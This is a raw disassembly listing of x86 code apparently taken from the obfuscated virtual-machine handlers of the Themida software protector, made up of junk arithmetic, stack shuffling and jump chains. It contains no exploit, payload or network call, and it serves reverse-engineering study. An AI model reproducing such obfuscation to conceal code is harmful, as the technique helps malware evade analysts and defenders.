push ebx
push 30832195h
pop ebx
inc ebx
add ebx, 2D5441AAh
not ebx
add ebx, 0BCADB51Bh
push ebx
sub dword ptr [esp], 5100515Eh
jmp loc_55A243
; ---------------------------------------------------------------------------
loc_55833F: ; CODE XREF: Themida_:00554B92j
push 2933h
mov [esp], ebx
sub esp, 4
mov [esp], edi
push esi
push ebp
mov ebp, 7B777D4Dh
jmp loc_553CB8
; ---------------------------------------------------------------------------
loc_55835C: ; CODE XREF: Themida_:005578B4j
pop esi
xchg eax, [esp]
pop esp
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push 6C27h
mov [esp], esi
push 1FE8h
mov [esp], esp
add dword ptr [esp], 4
mov esi, [esp]
add esp, 4
push ebp
jmp loc_55D68E
; ---------------------------------------------------------------------------
loc_558393: ; CODE XREF: Themida_:00554090j
add esi, 7B03108Ch
pop edi
sub esi, 4
jmp loc_552FD3
; ---------------------------------------------------------------------------
loc_5583A2: ; CODE XREF: Themida_:00554F13j
xchg edx, [esp]
pop esp
jmp loc_551815
; ---------------------------------------------------------------------------
loc_5583AB: ; CODE XREF: Themida_:0055B668j
sub edi, 40DC22CDh
or ecx, edi
pop edi
neg ecx
sub esp, 4
mov [esp], esi
mov esi, 332962A8h
shl esi, 7
jmp loc_557701
; ---------------------------------------------------------------------------
loc_5583CC: ; CODE XREF: Themida_:005552A8j
mov [esp], ecx
push edi
push 4A921684h
mov edi, [esp]
add esp, 4
shr edi, 7
and edi, 359F0D3Eh
inc edi
jmp loc_55D18E
; ---------------------------------------------------------------------------
loc_5583ED: ; CODE XREF: Themida_:0055DA17j
sub [esp+8], eax
jmp loc_55AD0B
; ---------------------------------------------------------------------------
loc_5583F6: ; CODE XREF: Themida_:00553382j
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
mov eax, [esp]
jmp loc_55BF18
; ---------------------------------------------------------------------------
loc_55840A: ; CODE XREF: Themida_:00552CB1j
mov [esp], ecx
push small 77A5h
mov [esp], ax
mov ah, 90h
mov ch, ah
pop ax
xor ch, 6Eh
shr ch, 7
push small 0
sub [esp], ch
jmp loc_55D5E6
; ---------------------------------------------------------------------------
loc_55842D: ; CODE XREF: Themida_:0055C448j
pop esi
not ebx
jmp loc_553FDD
; ---------------------------------------------------------------------------
loc_558435: ; CODE XREF: Themida_:00559619j
xor [esp], edi
jmp loc_557E07
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
jmp loc_553429
; ---------------------------------------------------------------------------
loc_558446: ; CODE XREF: Themida_:00555D2Ej
sub eax, esi
add eax, 44D31987h
pop esi
sub ebx, 2BDD5524h
add ebx, eax
push edi
push 32597F06h
pop edi
jmp loc_5596C9
; ---------------------------------------------------------------------------
loc_558462: ; CODE XREF: Themida_:005528C7j
sub edx, 9CA3B955h
add ebx, edx
pop edx
sub eax, ebx
jmp loc_556FB1
; ---------------------------------------------------------------------------
loc_558472: ; CODE XREF: Themida_:0055A0C5j
mov eax, [esp]
add esp, 4
jmp loc_557D15
; ---------------------------------------------------------------------------
loc_55847D: ; CODE XREF: Themida_:0055A2BCj
pop ebx
pop edi
push 7688h
mov [esp], edi
push 3495h
mov [esp], ebp
jmp loc_555CAB
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl byte ptr [esp], cl
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_5584A3: ; CODE XREF: Themida_:0055A544j
xor eax, ecx
push dword ptr [esp]
mov ecx, [esp]
push edi
mov edi, esp
add edi, 4
push ecx
mov ecx, 4
add edi, ecx
pop ecx
jmp loc_551CEF
; ---------------------------------------------------------------------------
loc_5584C2: ; CODE XREF: Themida_:0055B802j
add eax, [ebx]
pop ebx
pop ecx
pop edx
push 4EDDh
mov [esp], eax
jmp loc_551815
; ---------------------------------------------------------------------------
loc_5584D4: ; CODE XREF: Themida_:005599B0j
sub eax, 363E2EE3h
add eax, esi
jmp loc_558551
; ---------------------------------------------------------------------------
loc_5584E0: ; CODE XREF: Themida_:00556757j
add edx, 3F1225DCh
add edx, 54A019FDh
push edi
jmp loc_5534C9
; ---------------------------------------------------------------------------
loc_5584F2: ; CODE XREF: Themida_:0055B9F0j
pop ebx
dec edx
add edx, 47AE7885h
sub edx, 0F673F33Fh
sub ebp, edx
pop edx
jmp loc_55262E
; ---------------------------------------------------------------------------
loc_558508: ; CODE XREF: Themida_:0055306Bj
mov esi, 170E38EAh
jmp loc_55CED0
; ---------------------------------------------------------------------------
mov ax, [esp]
push esi
push 1316h
mov [esp], esp
add dword ptr [esp], 4
jmp loc_55B1DE
; ---------------------------------------------------------------------------
loc_558528: ; CODE XREF: Themida_:0055AACBj
mov [esp], edx
mov edx, 2
sub ebp, 46633AFBh
add ebp, edx
push eax
jmp loc_5564EE
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], eax
push esp
jmp loc_558E32
; ---------------------------------------------------------------------------
loc_558551: ; CODE XREF: Themida_:005584DBj
add eax, 363E2EE3h
pop esi
jmp loc_55A538
; ---------------------------------------------------------------------------
loc_55855C: ; CODE XREF: Themida_:0055D339j
add edx, 4
add edx, 4
jmp loc_55CA5D
; ---------------------------------------------------------------------------
loc_55856D: ; CODE XREF: Themida_:0055A9B3j
sub ebx, 1B51082Ah
add ebx, 12F70671h
add eax, ebx
jmp loc_55BACC
; ---------------------------------------------------------------------------
loc_558580: ; CODE XREF: Themida_:0055447Ej
pop ecx
push esi
push 590F4314h
mov esi, [esp]
jmp loc_5533D8
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
sub esp, 4
mov [esp], esi
jmp loc_55AD03
; ---------------------------------------------------------------------------
loc_5585A3: ; CODE XREF: Themida_:0055C3F6j
dec edx
sub edx, 2E19218Dh
jmp loc_55D1C3
; ---------------------------------------------------------------------------
pop small word ptr [edx]
jmp loc_551815
; ---------------------------------------------------------------------------
loc_5585B7: ; CODE XREF: Themida_:0055CAC9j
add esp, 4
sub esp, 4
mov [esp], edx
mov edx, 38h
add edx, edi
push eax
mov eax, 0
add eax, edx
jmp loc_55AF6A
; ---------------------------------------------------------------------------
loc_5585D4: ; CODE XREF: Themida_:0055AE88j
sub al, 0D1h
pop cx
push edx
sub esp, 4
mov [esp], eax
jmp loc_556E40
; ---------------------------------------------------------------------------
loc_5585E7: ; CODE XREF: Themida_:0055D96Cj
push edx
mov edx, 29312E26h
push 164Ah
mov [esp], edx
jmp loc_55270B
; ---------------------------------------------------------------------------
loc_5585FA: ; CODE XREF: Themida_:00556116j
xor al, 31h
add dl, al
jmp loc_55472D
; ---------------------------------------------------------------------------
loc_558603: ; CODE XREF: Themida_:005563BFj
add eax, 4
add eax, 4
xchg eax, [esp]
jmp loc_557057
; ---------------------------------------------------------------------------
loc_558613: ; CODE XREF: Themida_:00559214j
shl ebx, 7
push 321Bh
mov [esp], eax
mov eax, 0DD558A3h
inc eax
shr eax, 3
inc eax
jmp loc_554AA0
; ---------------------------------------------------------------------------
loc_55862D: ; CODE XREF: Themida_:00552596j
sub ecx, edi
push esi
push ebx
push 7BAE684Dh
mov ebx, [esp]
add esp, 4
sub ebx, 15E11D91h
mov esi, ebx
pop ebx
xchg ebx, esi
jmp loc_553114
; ---------------------------------------------------------------------------
loc_55864F: ; CODE XREF: Themida_:00553FC7j
jmp loc_551815
; ---------------------------------------------------------------------------
loc_558654: ; CODE XREF: Themida_:005528D2j
add edi, 13DCFA6h
mov eax, edi
pop edi
jmp loc_551A16
; ---------------------------------------------------------------------------
lodsb
sub al, 8Eh
push 5A32h
mov [esp], edx
mov dh, 61h
shl dh, 4
dec dh
jmp loc_553421
; ---------------------------------------------------------------------------
loc_558679: ; CODE XREF: Themida_:0055BB5Aj
mov [esp], ebx
push 623Bh
mov [esp], edx
push ebx
mov ebx, 29D808E6h
jmp loc_55773F
; ---------------------------------------------------------------------------
loc_55868F: ; CODE XREF: Themida_:0055413Aj
mov ebx, 28947FACh
push ebp
mov ebp, 44E05784h
push ebp
not dword ptr [esp]
pop ebp
xor ebp, 8B90BD55h
jmp loc_5590B4
; ---------------------------------------------------------------------------
loc_5586AA: ; CODE XREF: Themida_:0055C47Fj
inc dh
add dh, 16h
jmp loc_5533A9
; ---------------------------------------------------------------------------
loc_5586B4: ; CODE XREF: Themida_:00554F03j
xor edx, 0D9448190h
mov ebx, edx
jmp loc_55A825
; ---------------------------------------------------------------------------
loc_5586C1: ; CODE XREF: Themida_:00553B92j
add edx, ecx
jmp loc_55DD1B
; ---------------------------------------------------------------------------
loc_5586C8: ; CODE XREF: Themida_:0055C345j
not dword ptr [esp]
pop eax
jmp loc_55D568
; ---------------------------------------------------------------------------
loc_5586D1: ; CODE XREF: Themida_:005519F7j
sub eax, 1A9835E6h
add eax, 360305BEh
sub eax, ebx
push edi
mov edi, 494803CDh
add edi, 68C490Eh
push edi
not dword ptr [esp]
pop edi
not edi
sub edi, 19D1471Dh
sub eax, edi
pop edi
jmp loc_5581D7
; ---------------------------------------------------------------------------
loc_5586FE: ; CODE XREF: Themida_:005530AAj
mov edi, ecx
push dword ptr [esp]
jmp loc_55936F
; ---------------------------------------------------------------------------
loc_558708: ; CODE XREF: Themida_:0055A3FEj
add eax, 4
xchg eax, [esp]
jmp loc_556E5E
; ---------------------------------------------------------------------------
loc_558713: ; CODE XREF: Themida_:0055C142j
pop edi
jmp loc_5579D4
; ---------------------------------------------------------------------------
loc_558719: ; CODE XREF: Themida_:00559D42j
pop ecx
jmp loc_5560CB
; ---------------------------------------------------------------------------
loc_55871F: ; CODE XREF: Themida_:00555944j
pop ebx
sub ecx, edi
sub ecx, 65DE1571h
pop edi
push ecx
push dword ptr [esp+4]
mov ecx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
push 6348h
mov [esp], esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
pop dword ptr [esp]
pop esp
mov [esp], edx
jmp loc_552574
; ---------------------------------------------------------------------------
loc_55875A: ; CODE XREF: Themida_:0055CD5Cj
mov esi, [esp]
add esp, 4
jmp loc_55588B
; ---------------------------------------------------------------------------
loc_558768: ; CODE XREF: Themida_:00554A1Dj
sub esp, 4
mov [esp], edx
push ebp
mov ebp, 6ADA7547h
jmp loc_5582DA
; ---------------------------------------------------------------------------
loc_55877C: ; CODE XREF: Themida_:0055A7D3j
mov [esp], edx
jmp loc_555235
; ---------------------------------------------------------------------------
loc_558784: ; CODE XREF: Themida_:0055BB26j
add ebp, 1F0D261Ch
not ebp
jmp loc_55AF7A
; ---------------------------------------------------------------------------
loc_558791: ; CODE XREF: Themida_:005560EDj
shr eax, 0Ah
xor eax, ecx
jmp loc_5552FD
; ---------------------------------------------------------------------------
loc_55879B: ; CODE XREF: Themida_:00551946j
pop eax
push 178Bh
mov [esp], eax
jmp loc_557631
; ---------------------------------------------------------------------------
mov ax, [esp]
push 7B77h
mov [esp], ebp
push esp
pop ebp
push edx
mov edx, 17E02EC7h
inc edx
push esi
mov esi, 371019F2h
add esi, 7B1175FFh
push ebx
mov ebx, 29B04D7Ch
or esi, ebx
pop ebx
sub esi, 247B86h
sub esi, 0D36D833Bh
add edx, esi
mov esi, [esp]
add esp, 4
add ebp, edx
pop edx
jmp loc_55592C
; ---------------------------------------------------------------------------
loc_5587EF: ; CODE XREF: Themida_:005536DEj
add ebx, 5654ADBh
jmp loc_55695E
; ---------------------------------------------------------------------------
loc_5587FA: ; CODE XREF: Themida_:005531C5j
mov ebx, esp
jmp loc_5568FB
; ---------------------------------------------------------------------------
loc_558801: ; CODE XREF: Themida_:005588E9j
pop ecx
sub eax, ebx
jmp loc_55719B
; ---------------------------------------------------------------------------
loc_558809: ; CODE XREF: Themida_:00556FA3j
mov ebp, 39A12E4Ah
xor ebp, 19D35820h
xor ebp, 2072766Eh
add ecx, ebp
pop ebp
add ecx, 2
xchg ecx, [esp]
pop esp
mov ecx, [esp]
jmp loc_5559B7
; ---------------------------------------------------------------------------
loc_55882F: ; CODE XREF: Themida_:0055A308j
mov edx, [esp]
add esp, 4
shr ecx, 8
sub ecx, 24615363h
xor ecx, 0C0D137A4h
add eax, ecx
pop ecx
sub eax, 385A3F7Bh
pop ebx
add eax, 5B5E2554h
add eax, ebx
push ecx
jmp loc_558E6A
; ---------------------------------------------------------------------------
loc_55885D: ; CODE XREF: Themida_:00558DFEj
pop eax
pop ecx
sub dword ptr [esp+4], 5E4969DBh
add [esp+4], ebp
add dword ptr [esp+4], 5E4969DBh
jmp loc_555816
; ---------------------------------------------------------------------------
loc_558878: ; CODE XREF: Themida_:00556601j
pop edi
mov ecx, ebx
pop ebx
and [edi+1Ch], ecx
pop ecx
jmp loc_55800B
; ---------------------------------------------------------------------------
loc_558885: ; CODE XREF: Themida_:0055C763j
add esi, 4
push eax
mov eax, 4
add esi, eax
pop eax
xchg esi, [esp]
jmp loc_553C9A
; ---------------------------------------------------------------------------
loc_55889C: ; CODE XREF: Themida_:00552CB9j
add edi, 21830EFAh
mov ebp, edi
pop edi
inc ebp
xor ebp, 18643039h
push 0D12h
mov [esp], ebp
jmp loc_55BA89
; ---------------------------------------------------------------------------
loc_5588B9: ; CODE XREF: Themida_:00553973j
pop dword ptr [esp]
jmp loc_55AD29
; ---------------------------------------------------------------------------
loc_5588C1: ; CODE XREF: Themida_:00551FC1j
push edi
push esp
pop edi
push edx
jmp loc_55416B
; ---------------------------------------------------------------------------
loc_5588CA: ; CODE XREF: Themida_:005556F3j
sub eax, 3AC82523h
jmp loc_55486D
; ---------------------------------------------------------------------------
loc_5588D4: ; CODE XREF: Themida_:00553E44j
add eax, ebp
jmp loc_55A992
; ---------------------------------------------------------------------------
loc_5588DB: ; CODE XREF: Themida_:0055D062j
push ecx
mov ecx, 42C02590h
sub ecx, 0DDB710A6h
add eax, ecx
jmp loc_558801
; ---------------------------------------------------------------------------
loc_5588EE: ; CODE XREF: Themida_:00558144j
mov ebx, [esp]
add esp, 4
sub cl, 9Bh
sub cl, 57h
push ebx
mov bh, cl
mov dl, bh
jmp loc_5593F1
; ---------------------------------------------------------------------------
loc_558904: ; CODE XREF: Themida_:00557FA5j
add esp, 4
sub esp, 4
mov [esp], ecx
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
jmp loc_554C62
; ---------------------------------------------------------------------------
loc_558928: ; CODE XREF: Themida_:00559453j
mov esi, 457B2970h
shl esi, 5
xor esi, 0AF652E04h
mov ebp, esi
pop esi
mov ecx, ebp
pop ebp
push ecx
mov ecx, 34C71EFCh
add edx, ecx
mov ecx, [esp]
add esp, 4
add edx, ecx
sub edx, 34C71EFCh
jmp loc_558B98
; ---------------------------------------------------------------------------
loc_558957: ; CODE XREF: Themida_:0055C2DEj
pop edi
jmp loc_558EBE
; ---------------------------------------------------------------------------
mov cx, [esp]
push eax
mov eax, esp
jmp loc_55B9CA
; ---------------------------------------------------------------------------
loc_558969: ; CODE XREF: Themida_:005597B4j
add esp, 2
sub esp, 2
mov [esp], ax
push small word ptr [esp+2]
mov ax, [esp]
add esp, 2
pop small word ptr [esp]
jmp loc_55B3A1
; ---------------------------------------------------------------------------
loc_55898E: ; CODE XREF: Themida_:005530BBj
shr dh, 8
jmp loc_55A9B8
; ---------------------------------------------------------------------------
loc_558996: ; CODE XREF: Themida_:00559D4Ej
and ebx, edi
mov edi, [esp]
add esp, 4
push esi
mov esi, 0FFE05038h
add ebx, 586101EAh
sub ebx, esi
sub ebx, 586101EAh
mov esi, [esp]
add esp, 4
and eax, ebx
mov ebx, [esp]
add esp, 4
or eax, eax
jz loc_557404
push ecx
jmp loc_552BDB
; ---------------------------------------------------------------------------
loc_5589D1: ; CODE XREF: Themida_:00557437j
add edx, 6CD81F9Bh
sub edx, 548C6424h
push edi
push edx
pop edi
pop edx
pop edx
neg edi
shr edi, 3
shr edi, 6
jmp loc_55C5DA
; ---------------------------------------------------------------------------
loc_5589EF: ; CODE XREF: Themida_:005569ABj
push dword ptr [esp+4]
mov edx, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
push 4DE0h
mov [esp], ebp
mov bp, 41A5h
push bx
sub esp, 4
mov [esp], edi
mov di, 3C62h
push ecx
mov cx, di
mov bx, cx
pop ecx
mov edi, [esp]
jmp loc_5526EE
; ---------------------------------------------------------------------------
loc_558A28: ; CODE XREF: Themida_:00557A91j
shl bh, 8
neg bh
push eax
mov ah, 41h
jmp loc_555655
; ---------------------------------------------------------------------------
loc_558A35: ; CODE XREF: Themida_:00559B7Fj
add eax, 4
add eax, 4
xchg eax, [esp]
mov esp, [esp]
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
jmp loc_55BE3F
; ---------------------------------------------------------------------------
loc_558A56: ; CODE XREF: Themida_:00553980j
add eax, 589D6708h
jmp loc_55C6C4
; ---------------------------------------------------------------------------
loc_558A60: ; CODE XREF: Themida_:00557DDFj
push edx
jmp loc_55B09D
; ---------------------------------------------------------------------------
loc_558A66: ; CODE XREF: Themida_:00556AB2j
mov ecx, [esp]
add esp, 4
push ebx
mov ebx, esp
push edi
mov edi, 51C44B3Ah
jmp loc_5580D5
; ---------------------------------------------------------------------------
loc_558A7D: ; CODE XREF: Themida_:00551A75j
dec eax
shr eax, 3
push ebx
mov ebx, 8B9DE70h
sub eax, ebx
jmp loc_55A60F
; ---------------------------------------------------------------------------
loc_558A8E: ; CODE XREF: Themida_:005538F2j
add eax, ebx
jmp loc_55637C
; ---------------------------------------------------------------------------
loc_558A95: ; CODE XREF: Themida_:00557D1Ej
add edi, ecx
pop ecx
not edi
and edi, 458E33EFh
sub edi, 458C1141h
add ebx, edi
pop edi
jmp loc_55CB4E
; ---------------------------------------------------------------------------
loc_558AAE: ; CODE XREF: Themida_:0055325Ej
mov [esp], ecx
mov ecx, esp
add ecx, 4
jmp loc_55C15F
; ---------------------------------------------------------------------------
loc_558ABE: ; CODE XREF: Themida_:0055BB62j
inc dh
inc dh
sub dh, 0C1h
or ah, dh
pop edx
sub ah, 0FFh
add ah, 0E3h
jmp loc_55D76E
; ---------------------------------------------------------------------------
loc_558AD3: ; CODE XREF: Themida_:0055BA3Dj
add ecx, 138047A6h
push ebx
jmp loc_555692
; ---------------------------------------------------------------------------
loc_558ADF: ; CODE XREF: Themida_:00559014j
add edi, edx
jmp loc_557D6E
; ---------------------------------------------------------------------------
loc_558AE6: ; CODE XREF: Themida_:00555002j
pop edi
add edi, 4
push ebp
mov ebp, 4
sub edi, ebp
pop ebp
xchg edi, [esp]
jmp loc_5559C1
; ---------------------------------------------------------------------------
loc_558AFE: ; CODE XREF: Themida_:0055A01Bj
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
jmp loc_5542C1
; ---------------------------------------------------------------------------
loc_558B0D: ; CODE XREF: Themida_:00559136j
mov ecx, esp
jmp loc_556C8E
; ---------------------------------------------------------------------------
loc_558B14: ; CODE XREF: Themida_:00552E5Bj
add esp, 2
jmp loc_55A44C
; ---------------------------------------------------------------------------
loc_558B1C: ; CODE XREF: Themida_:0055A56Cj
sub esp, 4
jmp loc_553E49
; ---------------------------------------------------------------------------
loc_558B27: ; CODE XREF: Themida_:0055735Fj
sub ebx, ecx
pop ecx
sub ebx, edx
mov edx, [esp]
add esp, 4
and eax, ebx
mov ebx, [esp]
jmp loc_55D880
; ---------------------------------------------------------------------------
loc_558B3C: ; CODE XREF: Themida_:00553BC2j
mov al, 4Eh
xor ch, al
pop eax
sub bl, ch
jmp loc_552C33
; ---------------------------------------------------------------------------
loc_558B48: ; CODE XREF: Themida_:0055A0D0j
push edx
jmp loc_55371B
; ---------------------------------------------------------------------------
loc_558B4E: ; CODE XREF: Themida_:00556BF5j
pop ecx
jmp loc_55D0CB
; ---------------------------------------------------------------------------
loc_558B54: ; CODE XREF: Themida_:00551F27j
mov ebx, ebp
pop ebp
mov edi, [esp]
jmp loc_553B32
; ---------------------------------------------------------------------------
loc_558B5F: ; CODE XREF: Themida_:005554FAj
add ecx, ebx
pop ebx
xchg ecx, [esp]
pop esp
push 5A2Ah
mov [esp], esi
push esp
pop esi
jmp loc_55A893
; ---------------------------------------------------------------------------
loc_558B75: ; CODE XREF: Themida_:00555FD3j
mov [esp], ebx
mov ebx, 698083AEh
sub ecx, ebx
pop ebx
sub edx, 4062365Fh
sub edx, ecx
add edx, 4062365Fh
push dword ptr [esp]
pop ecx
push esi
jmp loc_55487F
; ---------------------------------------------------------------------------
loc_558B98: ; CODE XREF: Themida_:00558952j
pop ecx
jmp loc_55D1EA
; ---------------------------------------------------------------------------
loc_558B9E: ; CODE XREF: Themida_:0055B4C7j
mov dl, 0EDh
mov cl, dl
pop edx
add cl, 67h
sub bl, cl
pop ecx
sub bl, al
sub esp, 4
mov [esp], edx
mov dl, 54h
add bl, dl
jmp loc_55CBD1
; ---------------------------------------------------------------------------
loc_558BBA: ; CODE XREF: Themida_:0055590Cj
push bx
mov bl, 0D9h
add ch, bl
jmp loc_552723
; ---------------------------------------------------------------------------
loc_558BC5: ; CODE XREF: Themida_:0055C408j
push esi
mov esi, esp
jmp loc_559196
; ---------------------------------------------------------------------------
loc_558BCD: ; CODE XREF: Themida_:0055C1A1j
mov [esp], ecx
jmp loc_55D203
; ---------------------------------------------------------------------------
loc_558BD5: ; CODE XREF: Themida_:005598DDj
pop edi
push 7871h
mov [esp], ebx
push edi
mov ebx, [esp]
push esi
jmp loc_55C761
; ---------------------------------------------------------------------------
loc_558BE8: ; CODE XREF: Themida_:0055C803j
pop ebx
push 1D7Fh
mov [esp], edx
mov edx, 3A850C01h
and edx, 5CF551DEh
or edx, 2A612376h
jmp loc_559008
; ---------------------------------------------------------------------------
loc_558C07: ; CODE XREF: Themida_:00558E8Aj
shl dword ptr [esp], cl
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_558C10: ; CODE XREF: Themida_:005553AEj
mov ebx, [esp]
add esp, 4
sub esp, 4
jmp loc_556B4B
; ---------------------------------------------------------------------------
loc_558C24: ; CODE XREF: Themida_:00552F07j
sub edx, 0B78FFAF7h
jmp loc_555D75
; ---------------------------------------------------------------------------
loc_558C2F: ; CODE XREF: Themida_:005545F5j
not edi
sub edi, 0C2149FB7h
push edi
mov ecx, [esp]
add esp, 4
mov edi, [esp]
add esp, 4
add ecx, 7F215BEFh
neg ecx
jmp loc_55B01F
; ---------------------------------------------------------------------------
loc_558C54: ; CODE XREF: Themida_:0055A16Dj
add esp, 4
xchg edi, [esp]
jmp loc_5599DA
; ---------------------------------------------------------------------------
loc_558C62: ; CODE XREF: Themida_:00558F30j
push ecx
push edx
mov edx, 4AF081Bh
and edx, 1A2407h
not edx
push edx
dec dword ptr [esp]
pop edx
and edx, 204B5886h
add edx, 1BB43137h
sub edx, 3BF589B7h
mov ecx, edx
jmp loc_5552C4
; ---------------------------------------------------------------------------
loc_558C8F: ; CODE XREF: Themida_:00551B34j
pop cx
sub bh, 6Bh
sub cl, 0C0h
sub cl, bh
add cl, 0C0h
pop ebx
jmp loc_557724
; ---------------------------------------------------------------------------
loc_558CA2: ; CODE XREF: Themida_:00554040j
add esi, 4
xchg esi, [esp]
mov esp, [esp]
jmp locret_551FA2
; ---------------------------------------------------------------------------
loc_558CB3: ; CODE XREF: Themida_:0055B473j
xor ebx, 48D953DEh
jmp loc_555560
; ---------------------------------------------------------------------------
loc_558CBE: ; CODE XREF: Themida_:0055C02Bj
jmp loc_551815
; ---------------------------------------------------------------------------
loc_558CC3: ; CODE XREF: Themida_:00559652j
push ebx
jmp loc_554F08
; ---------------------------------------------------------------------------
loc_558CC9: ; CODE XREF: Themida_:0055B56Fj
mov esi, 30530B78h
mov edi, esi
pop esi
add edx, edi
pop edi
add edx, esi
sub edx, 30530B78h
pop esi
jmp loc_551815
; ---------------------------------------------------------------------------
loc_558CE2: ; CODE XREF: Themida_:0055816Bj
mov esi, 33A1648Ah
jmp loc_55467E
; ---------------------------------------------------------------------------
mov ax, [esp]
push 44DEh
jmp loc_55623D
; ---------------------------------------------------------------------------
loc_558CFA: ; CODE XREF: Themida_:00551FE3j
add esp, 4
jmp loc_552FDB
; ---------------------------------------------------------------------------
loc_558D05: ; CODE XREF: Themida_:0055D5E1j
add edx, ebx
jmp loc_5539D4
; ---------------------------------------------------------------------------
loc_558D0C: ; CODE XREF: Themida_:00555B82j
xor bh, 7Dh
push 1222h
mov [esp], eax
mov al, 0EDh
xor al, 0E3h
shr al, 1
sub al, 4Ah
and al, 0A7h
push ebx
mov bl, 65h
sub bl, 8Ch
add al, 0BFh
sub al, bl
sub al, 0BFh
pop ebx
xor al, 0C8h
sub bh, al
jmp loc_55A45F
; ---------------------------------------------------------------------------
loc_558D37: ; CODE XREF: Themida_:00553366j
add dword ptr [esp+4], 6D3F343Dh
sub dword ptr [esp+4], 0BA60734h
add [esp+4], ecx
add dword ptr [esp+4], 0BA60734h
push ecx
mov ecx, 6D3F343Dh
sub [esp+8], ecx
pop ecx
pop ecx
pop dword ptr [edi+40h]
sub dword ptr [edi+40h], 2FB5516Fh
mov eax, [esp]
sub esp, 4
jmp loc_5548A4
; ---------------------------------------------------------------------------
loc_558D74: ; CODE XREF: Themida_:0055C880j
or eax, eax
jz loc_555000
push dword ptr [edi+1Ch]
push dword ptr [esp]
jmp loc_554C6D
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
sbb [esp], al
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_558D96: ; CODE XREF: Themida_:0055316Dj
push edx
mov edx, 31A12AF0h
xor edi, edx
mov edx, [esp]
jmp loc_5548AD
; ---------------------------------------------------------------------------
loc_558DA6: ; CODE XREF: Themida_:0055B4E0j
pop eax
xchg esi, [esp]
pop esp
sub [esp], eax
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_558DB4: ; CODE XREF: Themida_:00559A6Dj
add edi, 4
xchg edi, [esp]
jmp loc_55CC8A
; ---------------------------------------------------------------------------
mov ax, [esp]
push 6344h
mov [esp], ecx
push esp
pop ecx
push esi
push edi
mov edi, 279C148Bh
inc edi
push ecx
mov ecx, 5F2B16F9h
sub ecx, 0FF02FFD0h
add edi, ecx
pop ecx
push edx
mov edx, 783BD44Fh
add edi, edx
jmp loc_559F06
; ---------------------------------------------------------------------------
loc_558DF4: ; CODE XREF: Themida_:0055184Aj
mov edx, esp
push esi
jmp loc_55B300
; ---------------------------------------------------------------------------
loc_558DFC: ; CODE XREF: Themida_:00558E17j
mov ebp, eax
jmp loc_55885D
; ---------------------------------------------------------------------------
loc_558E03: ; CODE XREF: Themida_:0055D2B2j
push ebx
mov ebx, esp
jmp loc_557ED0
; ---------------------------------------------------------------------------
loc_558E0B: ; CODE XREF: Themida_:00554BB7j
mov [esp], ebp
push ecx
mov ecx, 0DC34387h
push eax
mov eax, ecx
jmp loc_558DFC
; ---------------------------------------------------------------------------
loc_558E1C: ; CODE XREF: Themida_:0055795Dj
push esi
jmp loc_5525BE
; ---------------------------------------------------------------------------
loc_558E22: ; CODE XREF: Themida_:00559F54j
inc ecx
and ecx, 239C78E8h
not ecx
not ecx
jmp loc_55660E
; ---------------------------------------------------------------------------
loc_558E32: ; CODE XREF: Themida_:0055854Cj
mov eax, [esp]
add esp, 4
push 38B7h
mov [esp], esi
mov esi, 7007375h
sub esi, 0F5728F9h
jmp loc_55B6E4
; ---------------------------------------------------------------------------
loc_558E50: ; CODE XREF: Themida_:00559CA0j
not edx
jmp loc_5533FF
; ---------------------------------------------------------------------------
loc_558E57: ; CODE XREF: Themida_:0055CEEAj
inc ah
sub ah, 5
shl ah, 3
and ah, 0E1h
add ah, 0CEh
jmp loc_55CE1F
; ---------------------------------------------------------------------------
loc_558E6A: ; CODE XREF: Themida_:00558858j
mov ecx, 7F2A0EC4h
shl ecx, 2
sub ecx, 63E5377Fh
jmp loc_559AB0
; ---------------------------------------------------------------------------
loc_558E7D: ; CODE XREF: Themida_:0055A2A3j
mov ecx, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
jmp loc_558C07
; ---------------------------------------------------------------------------
loc_558E8F: ; CODE XREF: Themida_:0055435Bj
sub esp, 4
jmp loc_551E62
; ---------------------------------------------------------------------------
loc_558E9A: ; CODE XREF: Themida_:0055DC52j
add esp, 4
sub eax, ecx
mov ecx, [esp]
add esp, 4
sub esp, 4
mov [esp], ebx
push esi
mov esi, 342E793Ah
mov ebx, 6A9BEEE1h
jmp loc_5532CB
; ---------------------------------------------------------------------------
loc_558EBE: ; CODE XREF: Themida_:00558958j
xor ebp, 3DEAB97Fh
xor eax, ebp
mov ebp, [esp]
add esp, 4
push ebx
mov ebx, 0AD23992h
shr ebx, 3
shr ebx, 5
push edi
mov edi, 2420440Bh
inc edi
push 0
sub [esp], edi
mov edi, [esp]
add esp, 4
xchg ecx, edi
not ecx
xchg ecx, edi
push eax
mov eax, 26490A79h
or edi, eax
jmp loc_559D47
; ---------------------------------------------------------------------------
loc_558F00: ; CODE XREF: Themida_:00552CD4j
xor ebx, eax
sub esp, 4
mov [esp], edx
push esi
push edx
jmp loc_553AF6
; ---------------------------------------------------------------------------
loc_558F0F: ; CODE XREF: Themida_:00555600j
xchg edi, [esp]
jmp loc_55C94E
; ---------------------------------------------------------------------------
loc_558F17: ; CODE XREF: Themida_:00551CEAj
add esi, 0FFFFFFFFh
add esi, 8984800Ah
add edi, esi
jmp loc_5593B0
; ---------------------------------------------------------------------------
loc_558F27: ; CODE XREF: Themida_:00555534j
add ebp, esi
jmp loc_558000
; ---------------------------------------------------------------------------
loc_558F2E: ; CODE XREF: Themida_:005533EFj
pop ebx
pop ebp
jmp loc_558C62
; ---------------------------------------------------------------------------
push 4011h
mov [esp], edx
jmp loc_551815
